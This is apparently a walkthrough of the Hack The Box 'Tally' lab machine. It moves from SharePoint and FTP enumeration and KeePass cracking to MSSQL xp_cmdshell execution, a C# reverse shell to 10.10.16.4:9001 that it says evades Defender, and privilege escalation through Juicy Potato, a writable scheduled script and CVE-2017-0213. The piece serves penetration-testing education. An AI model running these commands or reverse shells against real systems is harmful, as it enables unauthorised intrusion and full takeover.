Summary

  • Tally is a great box with multiple exploit paths for both initial access as well as privilege escalation.
  • Intially, we find a SharePoint site on port 80 which we enumerate to find a page with a couple of interesting bits of information.
  • One: being credentials for the listening FTP service.
  • Two: being intel about an HTML document to be uploaded to the FTP share for review by another user.
  • After successfully logging into FTP, we find an installer for a specific version of Firefox which was vulnerable to an RCE vulnerability.
  • Having confirmed that the victim was using that version, we planted a malicious HTML payload but failed to get code execution due to the inconsistency of the exploit. (this part is covered last here)
  • Moving along, we went through FTP to find a KeePass database file which we crack open and gain creds for an SMB share.
  • On it, we find a custom binary that contained credentials for the sa database user on the running MSSQL instance.
  • After logging in using the sqsh command-line utility, we enabled the xp_cmdshell feature and were able to execute a reverse shell and get on the system as the sarah user.
  • Having gained access through MSSQL, we had the SeImpersonatePrivilege enabled which we easily exploited using Juicy Potato to escalate our privileges to NT AUTHORITY\System.
  • There was another unintended path for privesc using a modifiable PowerShell script that was on sarah’s desktop running as a scheduled task under the Administrator user.
  • We added our payload to that script and owned the box a second way.
  • A third path -which was the intended one- was using CVE-2017-0213. We found the C++ PoC for it on GitHub but couldn’t compile it at first due to an error.
  • We did some research and were able to build the exploit binary. The exploitation was tricky because only the x86 version of the binary worked as well as had the requirement of running as an interactive process. Which we achieved with a Meterpreter session.

NMAP

PORT      STATE SERVICE            VERSION
21/tcp    open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http               Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-generator: Microsoft SharePoint
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://tally/_layouts/15/start.aspx#/default.aspx
81/tcp    open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp   open  ccproxy-http?
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-08-23T12:49:21
|_Not valid after:  2052-08-23T12:49:21
|_ssl-date: 2022-08-23T13:01:38+00:00; 0s from scanner time.
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
15567/tcp open  http               Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
|_http-title: Site doesn't have a title.
32843/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
32844/tcp open  ssl/http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-08-23T13:01:38+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US
| Subject Alternative Name: DNS:localhost, DNS:tally
| Not valid before: 2017-09-17T22:51:16
|_Not valid after:  9999-01-01T00:00:00
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|   h2
|_  http/1.1
|_http-title: Service Unavailable
32846/tcp open  storagecraft-image StorageCraft Image Manager
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc              Microsoft Windows RPC
49665/tcp open  msrpc              Microsoft Windows RPC
49666/tcp open  msrpc              Microsoft Windows RPC
49667/tcp open  msrpc              Microsoft Windows RPC
49668/tcp open  msrpc              Microsoft Windows RPC
49669/tcp open  msrpc              Microsoft Windows RPC
49670/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info: 
|   10.10.10.59:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-time: 
|   date: 2022-08-23T13:00:42
|_  start_date: 2022-08-23T12:49:00
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

nmap gives us a bunch of information:

  1. FTP port open
  2. There’s a Microsoft SharePoint Instance on port 80
  3. RPC and SMB are available on their standard ports
  4. MSSQL is there on default port 1433
  5. WinRM available
  6. An unknown HTTP port on 15567
  7. Also 81, 808 and 32846 which don’t look familiar

to avoid unnecessary confusion, we’ll start with the ports we know first..

Quick FTP Check

we first pass by FTP looking for freebies :)

anonymous login wasn’t allowed.

Enumerating Sharepoint

Checking the website, we get redirected to /_layouts/15/start.aspx#/default.aspx which had nothing.

But, To properly enumerate SharePoint, we need a wordlist for its web directories.

This one from the SecLists Repository seemed good.

We launched gobuster specifying the --timeout flag to 60 seconds since SharePoint was very slow :/

Out of the many pages, one was special: /_layouts/15/viewlsts.aspx

The “Documents” list had something interesting

When we opened the file, we found ourselves a password :)

the “Site Pages” list also had something:

a lot of information was there

  • we got 4 usernames: rahul, ftp_user, sarah & tim
  • we now know rahul is expected to put an index.html file up on the Intranet folder on the FTP share which either sarah or tim will open.

This is could very well be a client-side attack vector.

but first, let’s test those credentials against both SMB and FTP

SMB worked. but there were no permissions over any shares.

Enumerating local users with the --users flag failed.

But RID brute-forcing worked and got us every user on the box. This might come in handy.

that was it for SMB.

We then tested the creds with FTP and found the ftp_user valid -as expected-.

FTP Share Enumeration

After browsing the share and finding a lot of files/folders there, we decided to download it. For both speed and for leveraging tools like find for search and what not.

we do so with wget’s -m flag (for mirroring).

wget -m ftp://ftp_user:'UTDRSCH53c"$6hys'@tally

while browsing the contents, we found a KeePass file in tim’s folder.

we converted it to a hash using keepass2john and cracked it.

we carried the .kdbx file over to our windows VM along with the KeePass program files that were on the share then ran the application.

Inside, we found a password for a share called ACCT (we saw that earlier when enumerating SMB)

and another password that is most likely for a Cisco product.

Automatically, we shuffle the usernames/passwords and spray

The creds for the finance user worked and we got access to the ACCT share.

Going through SMB

We mounted the share and started looking at the contents.

mount -t cifs -o 'username=Finance,password=Acc0unting' //tally/ACCT finance-smb/

A custom binary called tester.exe was in /zz_Migration/Binaries/New folder

when running strings against it, we found creds inside:

Getting a shell through MSSQL

The creds worked when we connected to MSSQL on port 1433 using the sqsh tool.

However, to execute commands on the system, we needed to enable the xp_cmdshell feature which was initially unavailable.

At first, it was set as an “advanced option”.

so we reconfigured the shell to “show advanced options” and could then re-enable xp_cmdshell using the commands below:

exec sp_configure 'show advanced options', '1'
reconfigure
exec sp_configure 'xp_cmdshell', '1'
reconfigure
xp_cmdshell 'whoami'

here’s how it looked (notice the error messages and results after running the commands):

After running the whoami command, we find ourselves executing code as the sarah user.

Note: because, over time, the xp_cmdshell option kept getting automatically disabled, we put the MSSQL commands in a file for a bit of automation.

We added the code to both re-enable it and issue a PowerShell web request to execute a Nishang Reverse Shell hosted on our web server to streamline the process in case we lost our shell.

We now had a proper shell as sarah

Privesc Path #1: Abusing the SeImpersonatePrivilege

Since we got in through MSSQL, we had the SeImpersonatePrivilege enabled.

That privilege is ripe for exploitation using Juicy Potato.

To abuse it, we downloaded the binary from Github and renamed it to jp.exe

From our experience, that exploit always worked when used with a single executable rather than passing arguments.

for that, our choice is going to be a C# reverse shell

Why? because that shell is good for bypassing Windows Defender

We know defender was enabled from the hint in the todo.txt file on sarah’s desktop:

we can confirm that with the PowerShell cmdlet Get-MpComputerStatus

We modify the shell with our IP and port

// SNIP //
TcpClient client = new TcpClient("10.10.16.4", 9001)
// SNIP //

And then compile the code (rev.cs) on the victim machine using the native .NET compiler

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:rev.exe C:\Users\sarah\rev.cs

Note: the compilation errors weren’t serious here and we got back the exe file.

after running Juicy Potato with our rev.exe as an argument, it connected back to us as nt authority\system

jp.exe -l 1337 -p c:\users\sarah\rev.exe -t *

Privesc Path #2: Modifying the Scheduled PowerShell Script

Also on sarah’s desktop, there was a Powershell script called SPBestWarmup.ps1 and another XML file with the same name SPBestWarmup.xml

when looking at the XML file, we notice something:

these options indicate that this script is part of a scheduled task.

To exploit this, we need to check for write permissions on it. So we ran a quick Get-ACL PowerShell command.

Get-ACL .\SPBestWarmup.ps1 | Select -Expand AccessToString

We have full control!

We went ahead and added a reverse shell to that script right away.

However, because it was configured to run every hour, we had to wait for it…

But we eventually received a shell as Administrator

Privesc Path #3: CVE-2017-0213

After taking over the machine using the above two ways, and while looking at the Official Writeup, I found that exploiting CVE-2017-0213 was the intended path.

The source code for it was to be compiled in Visual Studio.

when building the binary without any modifications, we get a type error.

On Google, we queried with both the error as well as the variable name to get the most relevant results

The first result happened to be for the exact exploit. Here was the solution:

After applying the fix, we edited the cmdline variable and inserted our shell’s path instead.

That’s because the default exploit code ran cmd.exe which is just a Proof of Concept.

We make sure to select the x86 process architecture (the 64-bit version didn’t work)

Running the exploit from a normal shell wouldn’t do the trick.

That’s because it requires an interactive process to do its magic.

To achieve that, we must get a Meterpreter shell.

We will first start a Metasploit handler on our Kali box.

And, on Tally, we will use PowerShell’s start-process command with the rev.exe binary to fork out from our shell and connect back to our listener.

Once we catch the shell, we can upgrade it using the sessions -u command.

Now, getting into an “interactive process” can be easily achieved by migrating to a process with session ID = 1

we choose svchost.exe because it should be a stable process.

After migrating, we drop into a cmd shell with the shell command and launch the exploit to get a connection back as nt authority\system

it was very difficult to figure out. But we ended up learning a new privesc technique :D

Chasing the Firefox Exploit down a Rabbit Hole

when we went into the Intranet folder (mentioned in the note on SharePoint), we found a sub-folder called binaries.

It contained a certain version of Firefox.

When using searchsploit, we got a couple of exploits for it.

Our theory had a few parts:

  • Finding this installer meant that there’s a high chance it was being used in the environment.
  • And since either sarah or tim would be checking an index.html from rahul, they would likely be using that version of Firefox to do so.
  • And that’s where the exploit should come in.

To confirm our theory, we uploaded an index.html to the intranet folder setting it up to redirect to our Kali.

We have to use the binary mode in FTP to avoid any corruption in-transit.

After a couple of minutes, we got our confirmation from the user-agent HTTP header.

to choose an exploit, we first checked the Metasploit module because the framework’s exploits are usually well-developed.

Sadly, it did’t match our target’s version.

We then turned to the one with the exact version match here.

it was verified on EDB. and it did work well in testing. But only with the calc.exe payload :/

no matter how many shellcodes we generated using sc2asmjs.py. None worked :X

this version on Exploit-DB did work. But after payload modification and many many tries…

If you’re interested in checking it out. you can view it on the Official Writeup

Tough machine, huh?

Hope you enjoyed :)